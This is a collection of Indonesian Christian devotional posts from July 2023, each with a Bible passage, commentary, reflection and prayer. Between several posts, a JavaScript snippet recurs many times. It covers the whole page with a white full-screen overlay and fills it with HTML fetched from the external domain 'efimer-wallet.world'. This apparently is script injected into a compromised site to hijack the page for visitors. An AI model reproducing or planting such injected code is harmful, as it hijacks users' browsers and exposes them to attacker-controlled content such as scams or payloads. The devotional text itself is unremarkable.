WASPADALAH!

Sabtu, 22 Juli 2023

Matius 13 : 24 – 30, 36 – 43

Pengantar

Apa yang akan kita lakukan ketika tanaman pengganggu atau gulma mulai tumbuh di sekitar tanaman kesayangan kita? Tentu kita akan berupaya untuk memisahkannya agar tidak mempengaruhi kesuburan tanaman yang telah dirawat sebelumnya. Gambaran ini juga mengingatkan kepada kita untuk selalu memperhatikan pertumbuhan rohani kita. Ada kalanya kita kurang menyadari bahwa kita hidup berdampingan dengan kondisi yang membuat kita mampu bertahan di dalam iman kepada Tuhan, atau justru sebaliknya.

Pemahaman

  • Ayat 29-30 : Dalam perumpamaan lalang di antara gandum, mengapa tuan yang empunya ladang melarang hamba-hambanya untuk tidak mencabut lalang itu?
  • Ayat 36 : Bagaimana respon para murid ketika mendengar pengajaran Yesus melalui perumpaan tersebut?
  • Ayat 37-43 : Apa makna dari perumpamaan lalang di antara gandum?

Perumpamaan tentang Kerajaan Sorga diumpamakan Yesus dengan lalang di antara gandum. Dalam perumpamaan itu Yesus menceritakan ada seorang yang menaburkan benih yang baik, tetapi musuhnya menaburkan lalang ketika malam tiba. Baik gandum dan lalang sama-sama mengalami pertumbuhan. Namun para hamba dari si empunya ladang menanyakan terkait perlunya mencabut lalang-lalang itu. Namun tuan ladang melarangnya dan meminta mereka membiarkan keduanya sama-sama bertumbuh sampai musim menuai tiba (ayat 29-30). Sebab sang tuan tahu bahwa jika lalang itu dicabut, tanaman gandum miliknya juga akan hilang. Meskipun demikian, ia tetap mengawasi sampai panen tiba.

Ternyata perumpamaan itu belum dapat dimengerti oleh para murid (ayat 36). Oleh karenanya, Yesus memberikan penjelasan kepada mereka bahwa orang yang menabur benih baik ialah Anak Manusia, ladang ialah dunia, benih yang baik adalah anak-anak Tuhan, sedangkan lalang adalah si jahat, musuh yang menaburkan benih lalang adalah iblis, waktu menuai adalah akhir zaman dan para penuai adalah malaikat (ayat 37-39). Yesus memberikan pengertian bahwa kehidupan di dunia adalah kesempatan yang terbatas bagi setiap orang untuk bertumbuh. Akan tetapi, dalam pertumbuhan itu, umat harus selalu waspada dengan pengaruh si jahat yang juga ada dalam dunia ini. Perumpamaan ini mengajak para pendengarnya untuk hidup sebagai orang benar yang tetap bertahan dalam iman kepada Allah. Yesus juga mengingatkan bahwa hanya orang benar-lah yang disebut akan bercahaya seperti matahari dalam Kerajaan Bapa mereka (ayat 43).

Refleksi                                                                 

Tuhan memberikan kesempatan kepada umat-Nya untuk dapat bertumbuh dalam kebenaran Allah. Renungkanlah: apa sajakah upaya yang telah kita lakukan untuk memelihara pertumbuhan iman?

Tekadku                                                               

Ya Tuhan, berikanlah aku kepekaan untuk selalu melakukan kehendak-Mu di hidupku. Ajarlah aku untuk selalu mengarahkan hidup hanya kepada-Mu.

Tindakanku                                                           

Aku akan belajar untuk selalu waspada dengan tipu muslihat dunia dan bertahan dalam kebenaran Firman Allah.

Posted in RENUNGAN | Leave a comment

TUNTUNAN TUHAN

Kamis, 20 Juli 2023

Mazmur 86 : 11 – 17

Pengantar

Di jaman yang serba canggih kita tidak merasa kesulitan ketika hendak pergi ke lokasi yang belum pernah dikunjungi. GPS (Global Positioning System) akan menuntun kita untuk menemukan jalan menuju lokasi yang diinginkan. Jika dalam keperluan tertentu kita membutuhkan GPS sebagai petunjuk jalan, maka dalam hidup orang beriman juga membutuhkan tuntunan agar kita tetap hidup di jalan Tuhan.

Pemahaman

  • Ayat 11,14 : Mengapa pemazmur meminta agar anugerah Tuhan bekerja dalam dirinya?
  • Ayat 12-13 : Apa yang dilakukan oleh pemazmur ketika merasakan anugerah Tuhan dalam dirinya?
  • Ayat 16-17 : Apa sajakah yang diminta pemazmur dalam doanya kepada Tuhan?

Mazmur yang kita baca hari ini ditulis oleh Daud ketika ia sedang menghadapi kesulitan. Ia memohon anugerah dari Tuhan, agar Tuhan menunjukkan jalan kepadanya, sehingga ia tetap hidup dalam kebenaran (ayat 11). Daud menyadari bahwa dalam kesulitan, bisa saja hatinya berpaling dari Tuhan dan tidak dapat melayani dengan segenap hati. Terlebih ia juga harus menghadapi gerombolan musuh yang dapat menyerangnya sewaktu-waktu (ayat 14). Bahkan tidak ada belas kasih yang diharapkan datang dari manusia, sebab para musuh tidak mengenal Tuhan. Oleh karena itu, Daud hanya berharap penuh kepada Tuhan dan memuji atas segala kebaikan yang diberikan oleh Tuhan (ayat 12- 13). Tak peduli sejahat atau seburuk apapun perlakuan orang lain terhadap dirinya, Daud tetap mau bersyukur kepada Tuhan.

Setelah Daud memohon anugerah dan bersyukur pada

Tuhan, Daud menutup mazmur ini dengan menaikkan doanya. Ia meminta agar Tuhan mengasihani dan memberinya kekuatan, serta menyelamatkan kaum keluarganya (ayat 16). Ia rindu agar pembebasan itu terjadi pada dirinya dan kaum keluarganya dari perlakuan buruk para musuh. Daud juga memohon agar Tuhan memberikan pertanda kebaikan agar rancangan damai sejahtera itu senantiasa dirasakan dan dinikmati oleh Daud beserta keluarganya (ayat 17). Daud tidak mengharapkan apapun selain kepada pertolongan Tuhan. Hanya di dalam Tuhan sajalah, ia mendapatkan penghiburan dan ketenangan. Para musuh akan dibuat malu oleh karya Tuhan. Semula mereka menginginkan kejatuhan dan ketidakberdayaan Daud. Tetapi semuanya akan diubah Tuhan menjadi sukacita dan pengharapan.

Refleksi                                                                 

Firman Tuhan adalah petunjuk atau pedoman hidup yang berharga bagi kita. Semua perkataan Tuhan yang tertulis dalam firman-Nya tidak akan menjadi sia-sia jika dibarengi dengan kerendahan hati dan kesetiaan untuk melakukannya dalam hidup sehari-hari.

Tekadku

Tuhan, ampuni bila aku sering berlaku tidak mengikuti Firman-Mu yang menjadi pedoman hidupku. Kiranya Roh Kudus-Mu menuntunku untuk tetap rendah dan setia untuk menjadi pelaku Firman.

Tindakanku                                                           

Aku mau belajar membaca Alkitab secara rutin dan rendah hati menjadi pelaku Firman.

Posted in RENUNGAN | Leave a comment

SEMANGAT BERKARYA

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Rabu, 19 Juli 2023

Mazmur 92 : 13 – 16

Pengantar

Salah satu resto ayam goreng ala Barat yang hampir ditemukan di berbagai belahan dunia, yakni KFC, didirikan oleh Colonel Harland David Sanders pada usianya yang ke-65 tahun. Di usia yang sudah tidak muda lagi dan dengan berbagai rintangan menghadang, ia memberikan karya yang dapat dinikmati semua orang dari berbagai kalangan usia. Apa yang dilakukan oleh beliau memberikan inspirasi bagi kita bahwa setiap orang diberikan kemampuan oleh Tuhan untuk berkarya. Bahkan di usia senja pun, masih banyak kita jumpai orang-orang yang giat berkarya demi kepentingan bersama. Hari ini kita akan merenungkan betapa mengagumkan penyertaan Tuhan yang membuat setiap orang percaya tetap semangat berkarya.

Pemahaman

  • Ayat 13-14 : Bagaimanakah pemazmur menggambarkan kehidupan orang yang bertumbuh dalam kebenaran Allah?
  • Ayat 15-16 : Apa yang terjadi ketika orang percaya tetap hidup benar di hadapan Tuhan?

Pada perenungan kemarin kita menjumpai bahwa pemazmur bersukacita atas perbuatan tangan Tuhan. Orang fasik dengan segala kemegahannya akan mengalami kehancuran. Selanjutnya pemazmur menceritakan tentang kehidupan orang benar. Ia memberikan gambaran bahwa orang benar akan bertunas seperti pohon korma, dan tumbuh seperti pohon aras di Libanon (ayat 13). Orang benar, dalam artian orang-orang yang hidup dalam kebenaran Firman Allah, akan bertumbuh sebab kasih karunia Allah selalu menyertainya. Jika orang fasik digambarkan seperti tunas tumbuhan yang segera layu, maka hidup orang benar justru seperti pohon korma yang tahan hidup

lama dan tidak berubah di musim dingin (ayat 14). Semakin mengalami tekanan dalam hidup, akan makin bertumbuh dalam pengenalan akan Tuhan.

Hidup orang benar juga akan berbuah, yakni menghasilkan sesuatu yang baik, bermanfaat, dan memuliakan Allah (ayat 15). Di kala usia dan kemampuan secara fisik mulai menurun, tetapi oleh kasih karunia Allah, orang benar dikuatkan untuk menghasilkan hidup yang berdampak. Hal yang terpenting adalah melakukan semuanya dengan ketekunan dan kasih kepada Allah dengan satu keyakinan bahwa Tuhanlah satu-satunya gunung batu (ayat 16). Sebab di dalam Tuhan, ada pengharapan dan pemeliharaan. Tak akan ada kekecewaan atau penyesalan ketika orang benar sungguh-sungguh hidup tulus dan setia di hadapan Tuhan.

Refleksi

Bagaimanakah cara kita mengelola waktu dan kesempatan yang Tuhan berikan? Apakah kita sudah menggunakannya untuk menghasilkan karya yang baik untuk orang-orang sekitar? Berkarya tak harus menunggu punya harta benda yang cukup. Tetapi dengan kesetiaan dan ketekunan untuk bersekutu dengan sesama, saling menguatkan, giat melayani Tuhan, dan melakukan hal positif lainnya, akan menjadi masa-masa yang penuh sukacita bagi kita.

Tekadku                                                                

Tuhan, ampuni bila aku sering mengeluh atas keterbatasanku. Berikanlah sukacita agar aku dapat berkarya dengan segala kelebihan yang Tuhan percayakan kepadaku.

Tindakanku                                                           

Aku mau belajar untuk tidak menyia-nyiakan waktu dan kesempatan yang Tuhan berikan untuk membawa anggota keluargaku beribadah kepada Tuhan dan menikmati kebaikan-Nya.

Posted in RENUNGAN | Leave a comment

SUKACITA DALAM TUHAN

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Selasa,18 Juli 2023

Mazmur 92 : 1 – 12

Pengantar

Setiap orang ingin merasakan sukacita dalam hidupnya. Sukacita akan menolong seseorang untuk memandang kehidupan dari sudut pandang yang positif. Meskipun diterpa oleh berbagai keadaan yang menyulitkan, ia akan tetap bertahan dan semangat dalam melanjutkan kehidupan. Demikian pula dengan kita. Sukacita dalam Tuhan akan memampukan kita untuk bertahan dalam segala keadaan. Marilah kita merenungkannya!

Pemahaman

  • Ayat 2-4  : Apa yang dilakukan oleh pemazmur ketika merasakan kebaikan Tuhan dalam hidupnya?
  • Ayat 5-12 : Mengapa pemazmur tetap bersukacita dan bertahan ketika diterpa oleh kesulitan?

Dahulu kala, Mazmur yang kita baca hari ini dilantunkan pada hari sabat, sebagai ungkapan syukur umat atas kebaikan Allah. Pemazmur mengawalinya dengan berkata, “adalah baik untuk menyanyikan syukur kepada Tuhan,” (ayat 2). Memuji Allah adalah hal baik yang dilakukan oleh orang percaya, setiap saat dan di berbagai kesempatan yang ada. Memuji Allah juga akan mendorong kita untuk selalu mengingat segala pekerjaan Tuhan, sehingga kita dimampukan untuk menyatakan kasih dan ketaatan kepada Allah. Oleh karena perbuatan tangan Tuhan yang teramat besar, pemazmur juga turut bersukacita dan ia benar-benar mendapatkan sukacita itu dari Tuhan (ayat 5). Ia menyaksikan bagaimana Tuhan membuat umat menang atas orang-orang fasik.

Mulanya mereka dibiarkan bertunas seperti tumbuh-tumbuhan, namun kemegahan mereka akan menjadi sebuah kejatuhan (ayat 8). Setiap musuh yang dengan berani hendak melakukan pemberontakan terhadap Tuhan, maka Tuhan bertindak dengan cara-Nya untuk membela umat (ayat 10). Tuhan sendiri yang akan memisahkan keberadaan orang-orang fasik dari antara umat, agar umat tetap hidup setia kepada Tuhan. Pada akhirnya pemazmur menyaksikan bagaimana kejahatan orang fasik dilumpuhkan oleh Tuhan, sehingga mereka tidak memiliki keberanian untuk menyerang umat (ayat 12). Pemazmur sungguh merasakan bahwa kasih karunia Tuhan diberikan untuk menolong umat tepat pada waktunya.

Refleksi

Dalam keheningan, renungkanlah: bagaimanakah cara saudara menyatakan ‘sukacita’ atas kebesaran Tuhan dalam hidup saudara? Marilah kita selalu mengingat bahwa sukacita sejati adalah ketika kita mengalami perjumpaan dengan Tuhan setiap hari dan menyaksikan bagaimana pertolongan Tuhan dinyatakan tepat pada waktunya.

Tekadku

Tuhan, aku bersyukur untuk kasih karunia-Mu yang menyertaiku. Berikanku hikmat agar dapat menghadirkan sukacita di manapun berada.

Tindakanku                                                           

Aku mau belajar menyatakan syukur kepada Tuhan dengan menjadi berkat bagi teman yang sedang bergumul, agar kembali bersemangat dalam menjalani hidup.

Posted in RENUNGAN | Leave a comment

PEPERANGAN JAMAN NOW

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Minggu, 16 Juli 2023

Roma 8 : 1 – 11

Pengantar                                                         

Rasul Paulus menegaskan bahwa orang yang percaya kepada Kristus adalah orang yang sudah dimerdekakan. Namun demikian harus disadari bahwa kehidupan yang sudah dimerdekakan itu tetap masih membutuhkan perjuangan. Karena sekalipun ia telah dimerdekakan oleh Kristus namun bisa diibaratkan masih tetap berada dalam medan peperangan. Medan peperangan yang dihadapi tentu bukan seperti seorang prajurit militer, melainkan peperangan melawan berbagai keinginan duniawi, konsumerisme atau berbagai hawa-nafsu duniawi yang bisa menggiringnya menjauh dari Tuhan. Hari ini kita belajar bagaimana menghadapi peperangan di zaman now.

Pemahaman

  1. Apa yang dijelaskan oleh Rasul Paulus tentang hidup menurut daging menurut Roh? (v. 5-8)
  2. Apa alasan bahwa orang percaya harus hidup dalam Roh? (v. 9-11)

Pada bacaan hari ini Rasul Paulus menegaskan bahwa hanya ada dua model kehidupan di dunia ini, yaitu hidup menurut daging dan hidup menurut Roh. Dari ke dua model hidup itu terdapat perbedaan yang sangat mendasar dan kontras di antara keduanya. Orang yang hidup menurut daging memikirkan hal-hal yang dari daging. Cara hidup seperti itu bertentangan dengan hukum Allah dan pasti menghasilkan maut atau kematian kekal. Cirinya adalah: memikirkan hal-hal yang dari daging (hal-hal duniawi), melawan atau menjadi seteru Allah, tidak takluk kepada hukum Allah dan hidup tidak berkenan kepada Allah (v. 7-8). Sebaliknya, orang yang hidup

menurut Roh memikirkan hal-hal Rohani, menghasilkan damai sejahtera, Roh Allah diam di dalamnya sehingga hidup dalam kebenaran (v. 5, 9-10). Orang yang hidup menurut daging memang tidak selalu orang yang sama sekali belum mengenal kebenaran Kristus, tetapi mungkin ia tahu kebenaran namun belum mengalami kelahiran baru sehingga tidak mau berjuang untuk hidup dalam kebenaran, sehingga kebiasaannya adalah hidup menurut daging, misalnya: masih suka melakukan hal-hal yang bertentangang dengan kebenaran Tuhan (Band. Gal. 5:19-21). Orang yang hidup dalam Roh, ia bukan orang yang sempurna, ia bisa jatuh dalam dosa, tetapi dalam kuasa Roh Kudus ia terus berjuang untuk mematikan keinginan- keinginan daging, pikirannya tertuju kepada hidup yang kekal dan hidup takut akan Allah, karena ia menyadari dirinya adalah milik Allah (v. 14-17).

Refleksi

Saudara-saudara, menyadari bahwa kita berada dalam peperangan rohani, maka sebaiknya kita harus terus berjuang hidup dalam

pimpinan Roh Kudus sebagai wujud nyata kita hidup dalam Roh.

Tekadku

Ya Roh Kudus, tolonglah kami untuk setia dan taat hidup dalam pimpinan-Mu, agar tidak mudah jatuh pada hidup dalam daging.

Tindakanku

Mari, saudara-saudara kita terus berjuang dalam pimpinan kuasa Roh Kudus, agar kita tidak mudah jatuh dalam godaan peperangan zaman now yang dapat menjerumuskan kita.

Posted in RENUNGAN | Leave a comment

JANGANLAH KAMU SALING MENGHAKIMI

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Kamis, 13 Juli 2023

Roma 2 : 11 – 16

Pengantar

Baik disadari atau tidak disadari, seringkali kita bertindak menjadi hakim atas orang lain atau menghakimi kesalahan ataupun kejahatan orang lain. Menghakimi orang lain memang mudah tetapi yang tanpa disadari adalah bahwa ketika kita menghakimi orang lain sebetulnya kita sedang menghakimi diri kita sendiri. Karena di hadapan Tuhan tidak ada manusia yang sempurna, semua telah bersalah dan berdosa (Roma 3:23). Hanya Allah saja yang sempurna dan tanpa dosa, itu sebabnya hanya Dia yang layak menjadi hakim. Dan siapapun kita tidak akan bisa terlepas dari penghakiman Tuhan. Penghakiman Tuhan berlaku secara adil tanpa memandang muka, status dan jabatan. Hari ini kita belajar dari penghakiman Allah yang adil, benar dan tanpa pandang bulu.

Pemahaman

  1. Apakah yang hendak ditekankan oleh penulis surat Roma dalam ayat 11-13?
  2. Apa yang hendak ditunjukkan oleh penulis dalam ayat 14-16?

Menurut para penafsir Surat Roma ini ditulis oleh Paulus sekitar tahun 55 atau 56 Masehi. Di tujukan kepada jemaat Kristen Roma yang berlatarbelakang orang-orang Yahudi dan Non Yahudi (Roma 1:5-7, 13). Paulus sangat memuji jemaat di Roma (Roma 1:8-12). Namun sayang jemaat yang begitu dipuji-puji oleh Paulus ternyata di dalamnya telah terjadi perselisihan yang berpotensi terjadi perpecahan. Salah satu konflik yang terjadi di jemaat Roma adalah mengenai pemahaman yang berbeda tentang siapa yang dibenarkan dan diselamatkan di hadapan Allah. Kelompok Yahudi yang merasa melakukan Taurat secara utuh menganggap merekalah yang paling benar, sementara kelompok non Yahudi

dianggap tidak benar karena tidak melakukan Taurat dengan utuh. Paulus menegaskan bahwa Injil itu adalah kekuatan Allah yang menyelamatkan semua orang yang percaya kepada-Nya, baik Yahudi maupun non Yahudi. Injil menjadi representasi dari kekuatan Allah yang menyelamatkan (Roma 1:16-17). Selain itu ada persoalan besar lain terjadi di jemaat Roma, yaitu mereka sekalipun mengenal Taurat tetapi mereka hidup seperti orang- orang yang tak mengenal Taurat (Roma 1:18-32). Paulus mengingatkan bahwa jangan hanya mengerti hukum Taurat saja, tetapi yang lebih penting adalah melakukan Taurat itu dengan benar. Dan yang tidak kalah penting adalah di hadapan Tuhan semua orang adalah berdosa. Namun ketika seseorang mau bertobat dan meninggalkan kehidupan lamanya, maka ia telah mengalami pembenaran dari Allah. Dan pembenaran adalah merupakan semata-mata karena anugerah dari Tuhan (Roma 3:24).

Refleksi                                                                 

Saudara-saudara, jika kita sudah mengenal Firman Tuhan, hidupilah Firman itu dengan benar.

Tekadku

Tuhan Yesus, terimakasih karena Engkau telah membenarkan kami oleh anugerah-Mu

Tindakanku                                                           

Mari, saudara-saudara, kita tidak menjadikan pengetahuan akan firman Tuhan untuk menghakimi sesama, tetapi jadikanlah pengetahuan akan firman Tuhan untuk saling membangun sesama.

Posted in RENUNGAN | Leave a comment

TELADAN PELAYANAN DAN KASIH DARI YESUS

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Rabu, 12 Juli 2023

Yohanes 13 : 1 – 17

Pengantar

Hampir di semua kelompok masyarakat di Indonesia menghayati dan memiliki adanya waktu-waktu khusus bersama keluarga. Moment-moment demikian menjadi kesempatan yang paling ideal bagi orang tua untuk menyampaikan wejangan- wejangan, pesan-pesan atau pengajaran berharga bagi anggota keluarga atau kepada anak-anaknya. Dan waktu-waktu khusus itu paling tepat saat moment makan bersama, karena pada saat itu seluruh anggota keluarga lebih mungkin untuk berkumpul bersama. Dan i tu menjadi kesempatan baik untuk membicarakan, menyampaikan mengajarkan atau hal-hal penting bagi seluruh anggota keluarga. Hari ini kita belajar tentang Yesus memberikan teladan agar saling mengasihi pada perjamuan malam terakhir bersama murid-murid.

Pemahaman

  1. Apa makna tindakan Yesus membasuh kaki murid-murid- Nya? (v. 4-11)
  2. Apa tujuan Yesus menjelaskan kembali tentang apa yang telah dilakukan-Nya? (v. 17)

Injil Yohanes dapat dikelompokkan menjadi dua bagian: Pasal 1-12 berisi pengajaran dan pelayanan Yesus yang bersifat umum yang ditujukan kepada publik. Pasal 13-21 lebih memuat pelayanan atau relasi Yesus dengan murid-murid utama atau murid kelompok dua belas. Alasannya karena Yesus sedang mempersiapkan murid-murid dengan lebih khusus selain melalui pengajaran-pengajaran khusus tetapi juga melalui teladan yang nyata. Alasan lain karena Yesus tidak lama lagi akan meninggalkan murid-murid-Nya menjalani jalan penderitaan sampai mati di kayu salib. Yesus memperagakan pengajaran-Nya tentang kasih kepada murid-murid dengan bertindak layaknya seorang hamba dengan membasuh kaki mereka satu per satu. Tak terkecuali kepada Yudas, sekalipun Yesus tahu bahwa Yudaslah yang akan menyerahkan-Nya kepada musuh-musuh-Nya. Seusai membasuh kaki murid-murid, Ia menegaskan agar murid-murid-Nya tidak meninggikan diri, tetapi mau merendahkan hati dan melayani sesama dengan tulus dan sungguh-sungguh, bahkan harus rela merendahkan diri untuk saling melayani satu sama lain seperti yang Yesus teladankan kepada mereka. Pelayanan dan keteladanan itulah yang Yesus berikan kepada para murid, kepada orang banyak di masa itu, dan tentu juga kepada kita hari ini. Ia melayani karena kasih dan kerendahan hati.

Refleksi  

Saudara-saudara, hari ini kita diingatkan untuk selalu meneladani Yesus yang adalah Tuhan kita dalam melayani dengan kasih kerendahan hati. Ia yang mulia dan tidak berdosa merendahkan diri-Nya untuk melayani dan membersihkan kita dari dosa-dosa agar kita beroleh keselamatan.

Tekadku

Tuhan Yesus, bimbinglah kami untuk saling mengasihi-melayani satu-sama lain seperti Engkau.

Tindakanku

Mari, saudara-saudara, kita meneladani Yesus dalam mengasihi- melayani sesama dengan tanpa pamrih, sebab kita semua telah mengalami kasih dan pelayanan Kristus dengan tanpa pamrih.

Posted in RENUNGAN | Leave a comment

HATI-HATI, BARANG PALSU

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Selasa, 11 Juli 2023

Yeremia 28 : 10 – 17

Pengantar

Dalam kehidupan sehari-hari, kita sering diperhadapkan dengan tawaran-tawaran yang menggiurkan. Dengan bahasa yang manis, penampilan mempesona dan kemasan yang menarik tidak sedikit orang akan segera tertarik kemudian terpengaruh lalu terjerumus dalam tawaran-tawaran demikian. Setelah mengetahui bahwa ternyata palsu, kita baru menyadari dan menyesal, namun sayang sudah terlambat karena sudah terjerumus atau termakan kepalsuannya. Hari ini kita belajar bagaimana menyikapi nubuat palsu dari Hananya dan nubuat yang benar dari Yeremia.

Pemahaman

  1. Melalui Yeremia 28:10-17 ini menolong kita mengerti nubuat palsu dan yang benar.
  2. Apa yang terjadi ketika seseorang hidupnya di kuasai kepalsuan? (v. 1-17)

Konteks Yeremia 28:1-17 dapat dikatakan sebagai peperangan nubuat yang palsu dari Hananya dengah nubuat yang benar dari Yeremia. Ketika umat Allah sedang dalam tawanan di Babel, keadaan mereka sangat menderita. Kita bisa bayangkan bagaimana sulitnya hidup dalam tawanan bangsa lain. Tentu hanya satu keinginan umat Israel, yaitu ingin segera lepas atau bebas dari tawanan. Dalam konteks tersebut Hananya menubuatkan bahwa dalam dua tahun lagi Allah akan membebaskan umat-Nya dari belenggu tawanan di Babel dan akan mengembalikan mereka ke Yehuda. Nubuatan demikian tentu sangat memberi harapan kepada umat Isreal yang sedang menderita (v. 2-4). Namun apa yang dinubuatkan Hananya itu

tidak dikaitkan dengan mengapa umat Israel harus dibuang ke Babel, yaitu dalam rangka Tuhan menghukum umat-Nya yang tegar-tengkuk dan tidak mengindahkan Tuhan (Lih. Yer 25:1-11). Yeremia yang memang nabi utusan Tuhan menunjukkan bahwa Hananya telah menyampaikan nubuatan palsu dan menyesatkan, sehingga akan membuat umat Tuhan semakin menderita di pembuangan, karena sesungguhnya mereka akan berada di pembuangan adalah selama tujuh puluh tahun (Lih. Yer 29:10). Bagaimana kita menyikapi kisah Yeremia dan Hananya ini? yang terpenting adalah kita perlu selalu berhati-hati dengan segala sesuatu yang palsu yang bertujuan untuk menjauhkan kita dari Tuhan. Dalam kehidupan kita sehari-hari, kita pasti akan diperhadapkan dengan berbagai kepalsuan, entah itu di dunia sekuler maupun di dunia spiritual. Maka bergantung pada kebenaran Firman Tuhan menjadi sangat penting bagi kita.

Refleksi

Saudara-saudara yang terkasih, setialah bergaul dengan Firman Tuhan setiap hari, agar tidak mudah terperdaya oleh kepalsuan dunia.

Tekadku

Tuhan, bimbinglah kami agar lebih peka terhadap mana yang benar dan mana yang palsu.

Tindakanku                                                           

Mari, saudara-saudara, kita semakin menyediakan telinga, hati dan hidup kita untuk kebenaran Firman Tuhan agar kita tidak terjerumus kepalsuan dunia.

Posted in RENUNGAN | Leave a comment

BERITAKAN KEBAIKAN TUHAN

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Jumat, 07 Juli 2023

Mazmur 145 : 8 – 12

Pengantar

Setiap orang yang beriman kepada TUHAN pasti merasakan kasih dan kebaikan TUHAN. Kemarin kita telah membuat daftar kasih dan kebaikan TUHAN dalam hidup kita. Pasti tak semuanya bisa kita tulis sebab kasih dan kebaikan TUHAN sungguh tak terhitung. Apakah Saudara selalu mensyukuri kasih dan kebaikan TUHAN? Dengan cara apakah Saudara mengungkapkan rasa syukur itu? Melalui Mazmur hari ini kita akan belajar bagaimana mengungkapkan rasa syukur atas kasih dan kebaikan TUHAN.

Pemahaman

Ayat 8 – 9      : Siapakah TUHAN yang diberitakan Pemazmur?

Ayat 10 – 11 : Apakah yang dilakukan umat TUHAN ketika mengingat dan menyadari kebaikan TUHAN?

Mazmur 145 merupakan puji-pujian dari Daud. Mazmur ini biasa dinyanyikan ketika umat merayakan perayaan-perayaaan tahunan yang melibatkan seluruh umat bahkan seluruh makhluk untuk mengagungkan nama dan perbuatan-perbuatan ALLAH yang ajaib. Mazmur ini merupakan respons umat terhadap TUHAN yang telah berkarya baik dalam hidup mereka. Umat telah merasakan kasih, kebaikan dan kuasa TUHAN di sepanjang perjalanan kehidupan.

Dalam ayat 8-9, kita melihat bagaimana Pemazmur mengungkapkan dan memberitakan siapa sebenarnya TUHAN yang diimani umat-NYA? DIA-lah TUHAN yang penuh rahmat, kasih dan kebaikan. Pemazmur sangat menyadari dan mengalami kasih dan penyertaan TUHAN secara nyata. Ini bukan berarti Pemazmur tak pernah mengalami masalah dan kesulitan hidup. Tentu ada masa- masa gelap atau masa-masa sulit yang harus dihadapi. Akan tetapi di tengah masa sulit, Pemazmur tetap merasakan kasih, penyertaan

dan kebaikan ALLAH. Pemazmur mengimani bahwa ALLAH penuh rahmat dan kebaikan bagi segala ciptaan-NYA. Oleh karena itu sudah sepatutnya umat TUHAN dan segala makhluk ciptaan-NYA mengucap syukur senantiasa dan memuji-muji nama-NYA.

Dalam ayat 11-12 ditulis bahwa rasa syukur atas rahmat, kasih dan kebaikan TUHAN bukan hanya diekspresikan dengan memuji- muji TUHAN tapi juga memberitakan kasih dan kebaikan TUHAN bagi banyak orang sehingga hadirnya kerajaan TUHAN yang semarak dan mulia dirasakan oleh banyak orang.

